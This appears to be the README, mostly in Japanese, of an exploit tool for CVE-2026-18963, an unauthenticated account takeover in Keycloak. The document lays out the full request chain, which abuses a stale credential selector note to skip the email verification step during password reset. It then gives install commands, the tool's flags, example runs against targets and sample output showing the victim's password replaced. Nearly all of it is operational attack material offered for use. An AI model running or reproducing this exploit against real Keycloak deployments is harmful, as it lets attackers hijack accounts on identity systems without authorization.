1. GET  /realms/{realm}/protocol/openid-connect/auth
         → OIDC セッションを確立し、パスワード忘れリンクを抽出

2. GET  /login-actions/reset-credentials?...
         → 認証情報リセットフォームを読み込み

3. POST tryAnotherWay=on
         → AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED ノートを設定（バグ 1）

4. POST username={target}  →  セレクターフォーム
         → 対象ユーザーを認証セッションにバインドし、メールステップをトリガー

5. GET  /login-actions/restart?...
         → 任意: ブラウザセッションポーリングをミラーリング

6. GET  /login-actions/reset-credentials?...  (ステップ 2 と同じ URL)
         → 古いセレクターノートがまだ存在 → 認証情報セレクターが再表示

7. POST username={target}  →  古いセレクター
         → ResetCredentialEmail がノートを検出し、context.success() を呼び出す（バグ 2）
         → フローは UPDATE_PASSWORD に直接進む — メールは送信されない

8. POST password-new={attacker_password}
         → アカウント乗っ取り完了

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              Keycloak ベース URL（必須）
--realm            対象レルム（デフォルト: master）
--username         乗っ取るアカウントのユーザー名またはメールアドレス（必須）
--new-password     対象アカウントに設定するパスワード（必須）
--client-id        OIDC クライアント ID（デフォルト: account）
--auth-prefix      auto | new | old
                     auto = 自動検出（デフォルト）
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      完全な HTTP トレースを出力
--skip-version-check

# 新旧 Keycloak URL プレフィックスを自動検出
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# レガシー /auth/ プレフィックスを強制（Keycloak < 17）
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# 詳細な HTTP トレース
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  Keycloak 未認証アカウント乗っ取り
  ユーザー : [email protected]

[ステップ 0] バージョンとパスプレフィックスを検出中
[+] パスプレフィックス: '/auth'  →  検出
[?] バージョンが検出されませんでした — 続行します。

  ターゲット : https://sso.example.com/auth/realms/myrealm

[ステップ 1] OIDC パスワード忘れリンク経由で認証情報リセットフォームを開く
[+] OIDC セッションを確立
[+] 認証情報リセットフォームを読み込み

[ステップ 2] POST tryAnotherWay=on  →  セレクターノートを設定（バグ 1）
[+] 認証情報セレクターフォームを受信

[ステップ 3] POST username='[email protected]'  →  ユーザーをバインドし、メールステップをトリガー
[+] メールステップがトリガーされました — セッションポーリング URL を発見

[ステップ 4] GET セッションポーリングパス（任意）

[ステップ 5] パスワード忘れ URL を再訪問  →  古いセレクターを取得
[+] 古い認証情報セレクターフォームを受信

[ステップ 6] 古いセレクターに username を POST  →  バイパスをトリガー（バグ 2）
[+] バイパス成功 — パスワード更新フォームを受信

[ステップ 7] 新しいパスワードを設定

============================================================
  [+] 成功 — アカウント乗っ取り完了
  [+] ターゲット : https://sso.example.com/auth/realms/myrealm
  [+] ユーザー   : [email protected]
  [+] パスワード : Pwn3d2026!
============================================================